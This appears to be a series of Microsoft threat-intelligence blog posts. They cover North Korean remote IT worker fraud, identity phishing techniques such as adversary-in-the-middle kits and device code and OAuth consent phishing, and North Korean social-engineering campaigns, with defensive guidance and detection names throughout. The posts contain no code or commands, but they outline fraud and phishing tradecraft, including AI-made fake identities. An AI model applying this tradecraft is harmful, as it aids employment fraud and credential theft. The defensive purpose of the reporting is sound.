The North Korean remote IT worker fraud scheme begins with the procurement of identities for the workers. These identities, which can be stolen or “rented” from witting individuals, include names, national identification numbers, and dates of birth. The workers might also leverage services that generate fraudulent identities, complete with seemingly legitimate documentation, to fabricate their personas. They then create email accounts and social media pages they use to apply for jobs, often indirectly through staffing or contracting companies. They also apply for freelance opportunities through freelancer sites as an additional avenue for revenue generation. Notably, they often use the same names/profiles repeatedly rather than creating unique personas for each successful infiltration.

Additionally, the North Korean IT workers have used fake profiles on LinkedIn to communicate with recruiters and apply for jobs.

The workers tailor their fake resumes and profiles to match the requirements for specific remote IT positions, thus increasing their chances of getting selected. Over time, we’ve observed these fake resumes and employee documents noticeably improving in quality, now appearing more polished and lacking grammatical errors facilitated by AI.

Establishing digital footprint

After creating their fake personas, the North Korean IT workers then attempt to establish legitimacy by creating digital footprints for these fake personas. They typically leverage communication, networking, and developer platforms, (for example, GitHub) to showcase their supposed portfolio of previous work samples:

Using AI to improve operations

Microsoft Threat intelligence has observed North Korean remote IT workers leveraging AI to improve the quantity and quality of their operations. For example, in October 2024, we found a public repository containing actual and AI-enhanced images of suspected North Korean IT workers:

The repository also contained the resumes and email accounts used by the said workers, along with the following tools and resources they can use to secure employment and to do their work:

• VPS and VPN accounts, along with specific VPS IP addresses
• Playbooks on conducting identity theft and creating and bidding jobs on freelancer websites
• Wallet information and suspected payments made to facilitators
• LinkedIn, GitHub, Upwork, TeamViewer, Telegram, and Skype accounts
• Tracking sheet of work performed, and payments received by the IT workers

Image creation

Based on our review of the repository mentioned previously, North Korean IT workers appear to conduct identity theft and then use AI tools like Faceswap to move their pictures over to the stolen employment and identity documents. The attackers also use these AI tools to take pictures of the workers and move them to more professional looking settings. The workers then use these AI-generated pictures on one or more resumes or profiles when applying for jobs.

Communications

Microsoft Threat Intelligence has observed that North Korean IT workers are also experimenting with other AI technologies such as voice-changing software. While we haven’t observed threat actors using combined AI voice and video products as a tactic first hand, we do recognize that combining these technologies could allow future threat actor campaigns to trick interviewers into thinking they aren’t communicating with a North Korean IT worker. If successful, this tactic could allow the North Korean IT workers to do interviews directly and no longer rely on facilitators standing in for them on interviews or selling them account access.

Facilitators for initial access

North Korean remote IT workers require assistance from a witting facilitator to help find jobs, pass the employment verification process, and once hired, successfully work remotely. We’ve observed Jasper Sleet advertising job opportunities for facilitator roles under the guise of partnering with a remote job candidate to help secure an IT role in a competitive market:

The IT workers may have the facilitators assist in creating accounts on remote and freelance job websites. They might also ask the facilitator to perform the following tasks as their relationship builds:

• Create a bank account for the North Korean IT worker, or lend their (the facilitator’s) own account to the worker
• Purchase mobile phone numbers or SIM cards

During the employment verification process, the witting accomplice helps the North Korean IT workers validate the latter’s fraudulent identities using online background check service providers. The documents submitted by the workers include fake or stolen drivers’ licenses, social security cards, passports, and permanent resident identification cards. Workers train using interview scripts, which include a justification for why the employee must work remotely.

Once hired, the remote workers direct company laptops and hardware to be sent to the address of the accomplice. The accomplice then either runs a laptop farm that provides the laptops with an internet connection at the geo-location of the role or forwards the items internationally. For hardware that remain in the country of the role, the accomplice signs into the computers and installs software that enables the workers to connect remotely. Remote IT workers might also access devices remotely using IP-based KVM devices, like PiKVM or TinyPilot.

Defense evasion and persistence

To conceal their physical location as well as maintain persistence and blend into the target organization’s environment, the workers typically use VPNs (particularly Astrill VPN), VPSs, proxy services, and RMM tools. Microsoft Threat Intelligence has observed the persistent use of JumpConnect, TinyPilot, Rust Desk, TeamViewer, AnyViewer, and Anydesk. When an in-person presence or face-to-face meeting is required, for example to confirm banking information or attend a meeting, the workers have been known to pay accomplices to stand in for them. When possible, however, the workers eliminate all face-to-face contact, offering fraudulent excuses for why they are not on camera during video teleconferencing calls or speaking.

Attribution

Microsoft Threat Intelligence uses the name Jasper Sleet (formerly known as Storm-0287) to represent activity associated with North Korean’s remote IT worker program. These workers are primarily focused on revenue generation, use remote access tools, and likely fall under a particular leadership structure in North Korea. We also track several other North Korean activity clusters that pursue fraudulent employment using similar techniques and tools, including Storm-1877 and Moonstone Sleet.

How Microsoft disrupts North Korean remote IT worker operations with machine learning

Microsoft has successfully scaled analyst tradecraft to accelerate the identification and disruption of North Korean IT workers in customer environments by developing a custom machine learning solution. This has been achieved by leveraging Microsoft’s existing threat intelligence and weak signals generated by monitoring for many of the red flags listed in this blog, among others. For example, this solution uses impossible time travel risk detections, most commonly between a Western nation and China or Russia. The machine learning workflow uses these features to surface suspect accounts most likely to be North Korean IT workers for assessment by Microsoft Threat Intelligence analysts.

Once Microsoft Threat Intelligence reviews and confirms that an account is indeed associated with a North Korean IT worker, customers are then notified with a Microsoft Entra ID Protection risk detection warning of a risky sign-in based on Microsoft’s threat intelligence. Microsoft Defender XDR customers also receive the alert Sign-in activity by a suspected North Korean entity in the Microsoft Defender portal.

Defending against North Korean remote IT worker infiltration

Defending against the threats from North Korean remote IT workers involves a threefold strategy:

• Ensuring a proper vetting approach is in place for freelance workers and vendors
• Monitoring for anomalous user activity
• Responding to suspected Jasper Sleet signals in close coordination with your insider risk team

Investigate

How can you identify a North Korean remote IT worker in the hiring process?

To protect your organization against a potential North Korean insider threat, it is important for your organization to prioritize a process for verifying employees to identify potential risks. The following can be used to assess potential employees:

• Confirm the potential employee has a digital footprint and look for signs of authenticity. This includes a real phone number (not VoIP), a residential address, and social media accounts. Ensure the potential employee’s social media/professional accounts are not highly similar to the accounts of other individuals. In addition, check that the contact phone number listed on the potential employee’s account is unique and not also used by other accounts.
• Scrutinize resumes and background checks for consistency of names, addresses, and dates. Consider contacting references by phone or video-teleconference rather than email only.
• Exercise greater scrutiny for employees of staffing companies, since this is the easiest avenue for North Korean workers to infiltrate target companies.
• Search whether a potential employee is employed at multiple companies using the same persona.
• Ensure the potential employee is seen on camera during multiple video telecommunication sessions. If the potential employee reports video and/or microphone issues that prohibit participation, this should be considered a red flag.
• During video verification, request individuals to physically hold driver’s licenses, passports, or identity documents up to camera.
• Keep records, including recordings of video interviews, of all interactions with potential employees.
• Require notarized proof of identity.

Monitor

How can your organization prevent falling victim to the North Korean remote IT worker technique?

To prevent the risks associated with North Korean insider threats, it’s vital to monitor for activity typically associated with this fraudulent scheme.

Monitor for identifiable characteristics of North Korean remote workers

Microsoft has identified the following characteristics of a North Korean remote worker. Note that not all the criteria are necessarily required, and further, a positive identification of a remote worker doesn’t guarantee that the worker is North Korean.

• The employee lists a Chinese phone number on social media accounts that is used by other accounts.
• The worker’s work-issued laptop authenticates from an IP address of a known North Korean IT worker laptop farm, or from foreign—most commonly Chinese or Russian—IP addresses even though the worker is supposed to have a different work location.
• The worker is employed at multiple companies using the same persona. Employees of staffing companies require heightened scrutiny, given this is the easiest way for North Korean workers to infiltrate target companies.
• Once a laptop is issued to the worker, RMM software is immediately downloaded onto it and used in combination with a VPN.
• The worker has never been seen on camera during a video telecommunication session or is only seen a few times. The worker may also report video and/or microphone issues that prohibit participation from the start.
• The worker’s online activity doesn’t align with routine co-worker hours, with limited engagement across approved communication platforms.

Monitor for activity associated with Jasper Sleet access

• If RMM tools are used in your environment, enforce security settings where possible, to implement MFA:
  • Use Windows Defender Application Control or AppLocker to create policies to block unapproved IT management tools. Consider hunting for unapproved RMM software installations and creating custom detections (Investigation & response > Hunting > Advanced hunting > Manage rules > Create custom detection) for any advanced hunting queries that are useful indicators of anomalous or unapproved activity in your environment.
  • If an unapproved installation is discovered, reset passwords for accounts used to install the RMM services. If a system-level account was used to install the software, further investigation may be warranted.
• Monitor for impossible travel—for example, a supposedly US-based employee signing in from China or Russia.
• Monitor for use of public VPNs such as Astrill. For example, IP addresses associated with VPNs known to be used by Jasper Sleet can be added to Sentinel watchlists. Or, Microsoft Defender for Identity can integrate with your VPN solution to provide more information about user activity, such as extra detection for abnormal VPN connections.
• Monitor for signals of insider threats in your environment. Microsoft Purview Insider Risk Management can help identify potentially malicious or inadvertent insider risks.
• Monitor for consistent user activity outside of typical working hours.

Remediate

What are the next steps if you positively identify a North Korean remote IT worker employed at your company?

Because Jasper Sleet activity follows legitimate job offers and authorized access, Microsoft recommends approaching confirmed or suspected Jasper Sleet intrusions with an insider risk approach using your organization’s insider risk response plan or incident response provider like Microsoft Incident Response. Some steps might include:

• Restrict response efforts to a small, trusted insider risk working group, trained in operational security (OPSEC) to avoid tipping off subjects and potential collaborators.
• Rapidly evaluate the subject’s proximity to critical assets, such as:
  • Leadership or sensitive teams
  • Direct reports or vendor staff the subject has influence over
  • Suppliers or vendors
  • People/non-people accounts, production/pre-production environments, shared accounts, security groups, third-party accounts, security groups, distribution groups, data clusters, and more
• Conduct preliminary link analysis to:
  • Detect relationships with potential collaborators, supporters, or other potential aliases operated by the same actor
  • Identify shared indicators (for example, shared IP addresses, behavioral overlap)
  • Avoid premature action that might alert other Jasper Sleet operators
• Conduct a risk-based prioritization of efforts, informed by:
  • Placement and access to critical assets (not necessarily where you identified them)Stakeholder insight from potentially impacted business units
  • Business impact considerations of containment (which might support additional collection/analysis) or mitigation (for example, eviction)
• Conduct open-source intelligence (OSINT) collection and analysis to:
  • Determine if the identity associated with the threat actor is associated with a real person. For example, North Korean IT workers have leveraged stolen identities of real US persons to facilitate their fraud. Conduct OSINT on all available personally identifiable information (PII) provided by the actor (name, date of birth, SSN, home of record, phone number, emergency contact, and others) and determine if these items are linked to additional North Korean actors, and/or real persons’ identities.
  • Gather all known external accounts operated by the alias/persona (for example, LinkedIn, GitHub, freelance working sites, bug bounty programs).
  • Perform analysis on account images using open-source tools such as FaceForensics++ to determine prevalence of AI-generated content. Detection opportunities within video and imagery include: 
    • Temporal consistency issues: Rapid movements cause noticeable artifacts in video deepfakes as the tracking system struggles to maintain accurate landmark positioning. 
    • Occlusion handling: When objects pass over the AI-generated content such as the face, deepfake systems tend to fail at properly reconstructing the partially obscured face.
    • Lighting adaptation: Changes in lighting conditions might reveal inconsistencies in the rendering of the face
    • Audio-visual synchronization: Slight delays between lip movements and speech are detectable under careful observation
      • Exaggerated facial expressions. 
      • Duplicative or improperly placed appendages.
      • Pixelation or tearing at edges of face, eyes, ears, and glasses.
• Engage counterintelligence or insider risk/threat teams to:
  • Understand tradecraft and likely next steps
  • Gain national-level threat context, if applicable
• Make incremental, risk-based investigative and response decisions with the support of your insider threat working group and your insider threat stakeholder group; one providing tactical feedback and the other providing risk tolerance feedback.
• Preserve evidence and document findings.
• Share lessons learned and increase awareness.
• Educate employees on the risks associated with insider threats and provide regular security training for employees to recognize and respond to threats, including a section on the unique threat posed by North Korean IT workers.

After an insider risk response to Jasper Sleet, it might be necessary to also conduct a thorough forensic investigation of all systems that the employee had access to for indicators of persistence, such as RMM tools or system/resource modifications.

For additional resources, refer to CISA’s Insider Threat Mitigation Guide. If you suspect your organization is being targeted by nation-state cyber activity, report it to the appropriate national authority. For US-based organizations, the Federal Bureau of Investigation (FBI) recommends reporting North Korean remote IT worker activity to the Internet Crime Complaint Center (IC3).

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender XDR

Alerts with the following title in the security center can indicate threat activity on your network:

• Sign-in activity by a suspected North Korean entity

Microsoft Defender for Endpoint

Alerts with the following titles in the security center can indicate Jasper Sleet RMM activity on your network. These alerts, however, can be triggered by unrelated threat activity.

• Suspicious usage of remote management software
• Suspicious connection to remote access software

Microsoft Defender for Identity

Alerts with the following titles in the security center can indicate atypical identity access on your network. These alerts, however, can be triggered by unrelated threat activity.

• Atypical travel
• Suspicious behavior: Impossible travel activity

Microsoft Entra ID Protection

Microsoft Entra ID Protection risk detections inform Entra ID user risk events and can indicate associated threat activity, including unusual user activity consistent with known patterns identified by Microsoft Threat Intelligence research. Note, however, that these alerts can be also triggered by unrelated threat activity.

• Microsoft Entra threat intelligence (sign-in): (RiskEventType: investigationsThreatIntelligence)

Microsoft Defender for Cloud Apps

Alerts with the following titles in the security center can indicate atypical identity access on your network. These alerts, however, can be triggered by unrelated threat activity.

• Impossible travel activity

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

Microsoft Defender XDR

Because organizations might have legitimate and frequent uses for RMM software, we recommend using the Microsoft Defender XDR advanced hunting queries available on GitHub to locate RMM software that hasn’t been endorsed by your organization for further investigation. In some cases, these results might include benign activity from legitimate users. Regardless of use case, all newly installed RMM instances should be scrutinized and investigated.

If any queries have high fidelity for discovering unsanctioned RMM instances in your environment, and don’t detect benign activity, you can create a custom detection rule from the advanced hunting query in the Microsoft Defender portal. 

Microsoft Sentinel

The alert Insider Risk Sensitive Data Access Outside Organizational Geo-locationjoins Azure Information Protection logs (InformationProtectionLogs_CL) with Microsoft Entra ID sign-in logs (SigninLogs) to provide a correlation of sensitive data access by geo-location. Results include:

• User principal name
• Label name
• Activity
• City
• State
• Country/Region
• Time generated

The recommended configuration is to include (or exclude) sign-in geo-locations (city, state, country and/or region) for trusted organizational locations. There is an option for configuration of correlations against Microsoft Sentinel watchlists. Accessing sensitive data from a new or unauthorized geo-location warrants further review.

References

• https://www.justice.gov/opa/pr/two-north-korean-nationals-and-three-facilitators-indicted-multi-year-fraudulent-remote
• https://www.justice.gov/usao-dc/media/1352191/dl
• https://www.reuters.com/technology/north-koreans-use-fake-names-scripts-land-remote-it-work-cash-2023-11-21/
• https://github.com/jischell-msft/RemoteManagementMonitoringTools

Acknowledgments

For more information on North Korean remote IT worker operations, we recommend reviewing DTEX’s in-depth analysis in the report Exposing DPRK’s Cyber Syndicate and IT Workforce.

Learn more

Meet the experts behind Microsoft Threat Intelligence, Incident Response, and the Microsoft Security Response Center at our VIP Mixer at Black Hat 2025. Discover how our end-to-end platform can help you strengthen resilience and elevate your security posture.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog. 

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. 

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast. 

The post Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations appeared first on Microsoft Security Blog.

In today’s evolving cyber threat landscape, threat actors are committed to advancing the sophistication of their attacks. The increasing adoption of essential security features like multifactor authentication (MFA), passwordless solutions, and robust email protections has changed many aspects of the phishing landscape, and threat actors are more motivated than ever to acquire credentials—particularly for enterprise cloud environments. Despite these evolutions, social engineering—the technique of convincing or deceiving users into downloading malware, directly divulging credentials, or more—remains a key aspect of phishing attacks.

Implementing phishing-resistant and passwordless solutions, such as passkeys, can help organizations improve their security stance against advanced phishing attacks. Microsoft is dedicated to enhancing protections against phishing attacks and making it more challenging for threat actors to exploit human vulnerabilities. In this blog, I’ll cover techniques that Microsoft has observed threat actors use for phishing and social engineering attacks that aim to compromise cloud identities. I’ll also share what organizations can do to defend themselves against this constant threat.

While the examples in this blog do not represent the full range of phishing and social engineering attacks being leveraged against enterprises today, they demonstrate several efficient techniques of threat actors tracked by Microsoft Threat Intelligence. Understanding these techniques and hardening your organization with the guidance included here will help contribute to a significant part of your defense-in-depth approach.

Pre-compromise techniques for stealing identities

Modern phishing techniques attempt to defeat authentication flows

Adversary-in-the-middle (AiTM)

Today’s authentication methods have changed the phishing landscape. The most prevalent example is the increase in adversary-in-the-middle (AiTM) credential phishing as the adoption of MFA grows. The phish kits available from phishing-as-a-service (PhaaS) platforms has further increased the impact of AiTM threats; the Evilginx phish kit, for example, has been used by multiple threat actors in the past year, from the prolific phishing operator Storm-0485 to the Russian espionage actor Star Blizzard.

Evilginx is an open-source framework that provides AiTM capabilities by deploying a proxy server between a target user and the website that the user wishes to visit (which the threat actor impersonates). Microsoft tracked Storm-0485 directing targets to Evilginx infrastructure using lures with themes such as payment remittance, shared documents, and fake LinkedIn account verifications, all designed to prompt a quick response from the recipient. Storm-0485 also consistently uses evasion tactics, notably passing initial links through obfuscated Google Accelerated Mobile Pages (AMP) URLs to make links harder to identify as malicious.

To protect against AiTM attacks, consider complementing MFA with risk-based Conditional Access policies, available in Microsoft Entra ID Protection, where sign-in requests are evaluated using additional identity-driven signals like IP address location information or device status, among others. These policies use real-time and offline detections to assess the risk level of sign-in attempts and user activities. This dynamic evaluation helps mitigate risks associated with token replay and session hijacking attempts common in AiTM phishing campaigns.

Additionally, consider implementing Zero Trust network security solutions, such as Global Secure Access which provides a unified pane of glass for secure access management of networks, identities, and endpoints.

Device code phishing

Device code phishing is a relatively new technique that has been incorporated by multiple threat actors into their attacks. In device code phishing, threat actors like Storm-2372 exploit the device code authentication flow to capture authentication tokens, which they then use to access target accounts. Storm-1249, a China-based espionage actor, typically uses generic phishing lures—with topics like taxes, civil service, and even book pre-orders—to target high-level officials at organizations of interest. Microsoft has also observed device code phishing being used for post-compromise activity, which are discussed more in the next sections.

At Microsoft, we strongly encourage organizations to block device code flow where possible; if needed, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.

OAuth consent phishing

Another modern phishing technique is OAuth consent phishing, where threat actors employ the Open Authorization (OAuth) protocol and send emails with a malicious consent link for a third-party application. Once the target clicks the link and authorizes the application, the threat actor gains access tokens with the requested scopes and refresh tokens for persistent access to the compromised account. In one OAuth consent phishing campaign recently identified by Microsoft, even if a user declines the requested app permissions (by clicking Cancel on the prompt), the user is still sent to the app’s reply URL, and from there redirected to an AiTM domain for a second phishing attempt.

You can prevent employees from providing consent to specific apps or categories of apps that are not approved by your organization by configuring app consent policies to restrict user consent operations. For example, configure policies to allow user consent only to apps requesting low-risk permissions with verified publishers, or apps registered within your tenant.

Device join phishing

Finally, it’s worth highlighting recent device join phishing operations, where threat actors use a phishing link to trick targets into authorizing the domain-join of an actor-controlled device. Since April 2025, Microsoft has observed suspected Russian-linked threat actors using third-party application messages or emails referencing upcoming meeting invitations to deliver a malicious link containing valid authorization code. When clicked, the link returns a token for the Device Registration Service, allowing registration of the threat actor’s device to the tenant. You can harden against this type of phishing attack by requiring authentication strength for device registration in your environment.

Lures remain an effective phishing weapon

While both end users and automated security measures have become more capable at identifying malicious phishing attachments and links, motivated threat actors continue to rely on exploiting human behavior with convincing lures. As these attacks hinge on deceiving users, user training and awareness of commonly identified social engineering techniques are key to defending against them.

Impersonation lures

One of the most effective ways Microsoft has observed threat actors deliver lures is by impersonating people familiar to the target or using malicious infrastructure spoofing legitimate enterprise resources. In the last year, Star Blizzard has shifted from primarily using weaponized document attachments in emails to spear phishing with a malicious link leading to an AiTM page to target the government, non-governmental organizations (NGO), and academic sectors. The threat actor’s highly personalized emails impersonate individuals from whom the target would reasonably expect to receive emails, including known political and diplomatic figures, making the target more likely to be deceived by the phishing attempt.

QR codes

We have seen threat actors regularly iterating on the types of lure links incorporated into their attacks to make social engineering more effective. As QR codes have become a ubiquitous feature in communications, threat actors have adopted their use as well. For example, over the past two years, Microsoft has seen multiple actors incorporate QR codes, encoded with links to AiTM phishing pages, into opportunistic tax-themed phishing campaigns.

The threat actor Star Blizzard has even leveraged nonfunctional QR codes as a part of a spear-phishing campaign offering target users an opportunity to join a WhatsApp group: the initial spear-phishing email contained a broken QR code to encourage the targeted users to contact the threat actor. Star Blizzard’s follow-on email included a URL that redirected to a webpage with a legitimate QR code, used by WhatsApp for linking a device to a user’s account, giving the actor access to the user’s WhatsApp account.

Use of AI

Threat actors are increasingly leveraging AI to enhance the quality and volume of phishing lures. As AI tools become more accessible, these actors are using them to craft more convincing and sophisticated lures. In a collaboration with OpenAI, Microsoft Threat Intelligence has seen threat actors such as Emerald Sleet and Crimson Sandstorm interacting with large language models (LLMs) to support social engineering operations. This includes activities such as drafting phishing emails and generating content likely intended for spear-phishing campaigns.

We have also seen suspected use of generative AI to craft messages in a large-scale credential phishing campaign against the hospitality industry, based on the variations of language used across identified samples. The initial email contains a request for information designed to elicit a response from the target and is then followed by a more generic phishing email containing a lure link to an AiTM phishing site.

AI helps eliminate the common grammar mistakes and awkward phrasing that once made phishing attempts easier to spot. As a result, today’s phishing lures are more polished and harder for users to detect, increasing the likelihood of successful compromise. This evolution underscores the importance of securing identities in addition to user awareness training.

Phishing risks continue to expand beyond email

Enterprise communication methods have diversified to support distributed workforce and business operations, so phishing has expanded well beyond email messages. Microsoft has seen multiple threat actors abusing enterprise communication applications to deliver phishing messages, and we’ve also observed continued interest by threat actors to leverage non-enterprise applications and social media sites to reach targets.

Teams phishing

Microsoft Threat Intelligence has been closely tracking and responding to the abuse of the Microsoft Teams platform in phishing attacks and has taken action against confirmed malicious tenants by blocking their ability to send messages. The cybercrime access broker Storm-1674, for example, creates fraudulent tenants to create Teams meetings to send chat messages to potential victims using the meeting’s chat functionality; more recently, since November 2024, the threat actor has started compromising tenants and directly calling users over Teams to phish for credentials as well. Businesses can follow our security best practices for Microsoft Teams to further defend against attacks from external tenants.

Leveraging social media

Outside of business-managed applications, employees’ activity on social media sites and third-party communication platforms has widened the digital footprint for phishing attacks. For instance, while the Iranian threat actor Mint Sandstorm primarily uses spear-phishing emails, they have also sent phishing links to targets on social media sites, including Facebook and LinkedIn, to target high-profile individuals in government and politics. Mint Sandstorm, like many threat actors, also customizes and enhances their phishing messages by gathering publicly available information, such as personal email addresses and contacts, of their targets on social media platforms. Global Secure Access (GSA) is one solution that can reduce this type of phishing activity and manage access to social media sites on company-owned devices.

Post-compromise identity attacks

In addition to using phishing techniques for initial access, in some cases threat actors leverage the identity acquired from their first-stage phishing attack to launch subsequent phishing attacks. These follow-on phishing activities enable threat actors to move laterally within an organization, maintain persistence across multiple identities, and potentially acquire access to a more privileged account or to a third-party organization.

You can harden your environment against internal phishing activity by configuring the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients as well as by educating users to be wary of unsolicited documents and to report suspected phishing messages.

AiTM phishing crafted using legitimate company resources

Storm-0539, a threat actor that persistently targets the retail industry for gift card fraud, uses their initial access to a compromised identity to acquire legitimate emails—such as help desk tickets—that serve as templates for phishing emails. The crafted emails contain links directing users to AiTM phishing pages that mimic the federated identity service provider of the compromised organization. Because the emails resemble the organization’s legitimate messages, lead to convincing AiTM landing pages, and are sent from an internal account, they could be highly convincing. In this way, Storm-0539 moves laterally, seeking an identity with access to key cloud resources.

Intra-organization device code phishing

In addition to their use of device code phishing for initial access, Storm-2372 also leverages this technique in their lateral movement operations. The threat actor uses compromised accounts to send out internal emails with subjects such as “Document to review” and containing a device code authentication phishing payload. Because of the way device code authentication works, the payloads only work for 15 minutes, so Microsoft has seen multiple waves of post-compromise phishing attacks as the threat actor searches for additional credentials.

Defending against credential phishing and social engineering

Defending against phishing attacks begins at the primary gateways: email and other communication platforms. Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365, or the equivalent for your email security solution, to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.

A holistic security posture for phishing must also account for the human aspect of social engineering. Investing in user awareness training and phishing simulations is critical for arming employees with the needed knowledge to defend against tried-and-true social engineering methods. Training can also help when threat actors inevitably refine and improve their techniques. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.

Hardening credentials and cloud identities is also necessary to defend against phishing attacks. By implementing the principles of least privilege and Zero Trust, you can significantly slow down determined threat actors who may have been able to gain initial access and buy time for defenders to respond. To get started, follow our steps to configure Microsoft Entra with increased security.

As part of hardening cloud identities, authentication using passwordless solutions like passkeys is essential, and implementing MFA remains a core pillar in identity security. Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals. Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA. Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.

Finally, a Security Service Edge solution like Global Secure Access (GSA) provides identity-focused secure network access. GSA can help to secure access to any app or resource using network, identity, and endpoint access controls.

Among Microsoft Incident Response cases over the past year where we identified the initial access vector, almost a quarter incorporated phishing or social engineering. To achieve phishing resistance and limit the opportunity to exploit human behavior, begin planning for passkey rollouts in your organization today, and  at a minimum, prioritize phishing-resistant MFA for privileged accounts as you evaluate the effect of this security measure on your wider organization. In the meantime, use the other defense-in-depth approaches I’ve recommended in this blog to defend against phishing and social engineering attacks.

Stay vigilant and prioritize your security at every step.

Recommendations

Several recommendations were made throughout this blog to address some of the specific techniques being used by threat actors tracked by Microsoft, along with essential practices for securing identities. Here is a consolidated list for your security team to evaluate.

• Configure Microsoft Entra with increased security.
• Use the Microsoft Authenticator app for passkeys and MFA.
• Strengthen privileged accounts with phishing resistant MFA.
• Complement MFA with risk-based Conditional Access policies, where sign-in requests are evaluated using additional identity-driven signals like IP address location information or device status, among others. Implementing Microsoft Entra ID Protection with these policies can automatically block or challenge access based on indicators like unfamiliar sign-in patterns or potential token theft attempts. When combined with Global Secure Access (GSA), organizations can extend this protection by enforcing Conditional Access decisions at the network layer to help secure access to any app or resource.
• Only allowing MFA and passkey registrations from trusted locations and devices.
• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365.
• Use attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, to run realistic attack scenarios in your organization for educating users.
• Use Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.
• Block device code flow where possible; if needed, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Configure app consent policies to restrict user consent operations. For example, configure policies to allow user consent only to apps requesting low-risk permissions with verified publishers, or apps registered within your tenant.
• Require authentication strength for device registration in your environment.
• Follow our security best practices for Microsoft Teams.
• Configure the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients.

At Microsoft, we are accelerating security with our work on the Secure by Default framework. Specific Microsoft-managed policies are enabled for every new tenant and raise your security posture with security defaults that provide a baseline of protection for Entra ID and resources like Office 365.

Learn more  

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog. 

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. 

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast. 

The post Defending against evolving identity attack techniques appeared first on Microsoft Security Blog.

The talk DPRK – All grown up will cover how the Democratic People’s Republic of Korea (DPRK) has successfully built computer network exploitation capability over the past 10 years and how threat actors have enabled North Korea to steal billions of dollars in cryptocurrency as well as target organizations associated with satellites and weapons systems. Over this period, North Korean threat actors have developed and used multiple zero-day exploits and have become experts in cryptocurrency, blockchain, and AI technology.

This presentation will also include information on North Korea overcoming sanctions and other financial barriers by the United States and multiple other countries through the deployment of North Korean IT workers in Russia, China, and, other countries. These IT workers masquerade as individuals from countries other than North Korea to perform legitimate IT work and generate revenue for the regime. North Korean threat actors’ focus areas are:

• Stealing money or cryptocurrency to help fund the North Korea weapons programs
• Stealing information pertaining to weapons systems, sanctions information, and policy-related decisions before they occur
• Performing IT work to generate revenue to help fund the North Korea IT weapons program

Meanwhile, in the talk No targets left behind, Microsoft Threat Intelligence analysts will present research on Storm-2077, a Chinese threat actor that conducts intelligence collection targeting government agencies and non-governmental organizations. This presentation will trace how Microsoft assembled the pieces of threat activity now tracked as Storm-2077 to demonstrate how we overcome challenges in tracking overlapping activities and attributing cyber operations originating from China.

This blog summarizes intelligence on threat actors covered by the two Microsoft presentations at CYBERWARCON.

Sapphire Sleet: Social engineering leading to cryptocurrency theft

The North Korean threat actor that Microsoft tracks as Sapphire Sleet has been conducting cryptocurrency theft as well as computer network exploitation activities since at least 2020. Microsoft’s analysis of Sapphire Sleet activity indicates that over 10 million US dollars’ worth of cryptocurrency was stolen by the threat actor from multiple companies over a six-month period.

Masquerading as a venture capitalist

While their methods have changed throughout the years, the primary scheme used by Sapphire Sleet over the past year and a half is to masquerade as a venture capitalist, feigning interest in investing in the target user’s company. The threat actor sets up an online meeting with a target user. On the day of the meeting, when the target user attempts to connect to the meeting, the user receives either a frozen screen or an error message stating that the user should contact the room administrator or support team for assistance.

When the target contacts the threat actor, the threat actor sends a script – a .scpt file (Mac) or a Visual Basic Script (.vbs) file (Windows) – to “fix the connection issue”. This script leads to malware being downloaded onto the target user’s device. The threat actor then works towards obtaining cryptocurrency wallets and other credentials on the compromised device, enabling the threat actor to steal cryptocurrency.  

Posing as recruiters

As a secondary method, Sapphire Sleet masquerades as a recruiter on professional platforms like LinkedIn and reaches out to potential victims. The threat actor, posing as a recruiter, tells the target user that they have a job they are trying to fill and believe that the user would be a good candidate. To validate the skills listed on the target user’s profile, the threat actor asks the user to complete a skills assessment from a website under the threat actor’s control. The threat actor sends the target user a sign-in account and password. In signing in to the website and downloading the code associated with the skills assessment, the target user downloads malware onto their device, allowing the attackers to gain access to the system.

Ruby Sleet: Sophisticated phishing targeting satellite and weapons systems-related targets

Ruby Sleet, a threat actor that Microsoft has been tracking since 2020, has significantly increased the sophistication of their phishing operations over the past several years. The threat actor has been observed signing their malware with legitimate (but compromised) certificates obtained from victims they have compromised. The threat actor has also distributed backdoored virtual private network (VPN) clients, installers, and various other legitimate software.

Ruby Sleet has also been observed conducting research on targets to find what specific software they run in their environment. The threat actor has developed custom capabilities tailored to specific targets. For example, in December 2023, Microsoft Threat Intelligence observed Ruby Sleet carrying out a supply chain attack in which the threat actor successfully compromised a Korean construction company and replaced a legitimate version of VeraPort software with a version that communicates with known Ruby Sleet infrastructure.

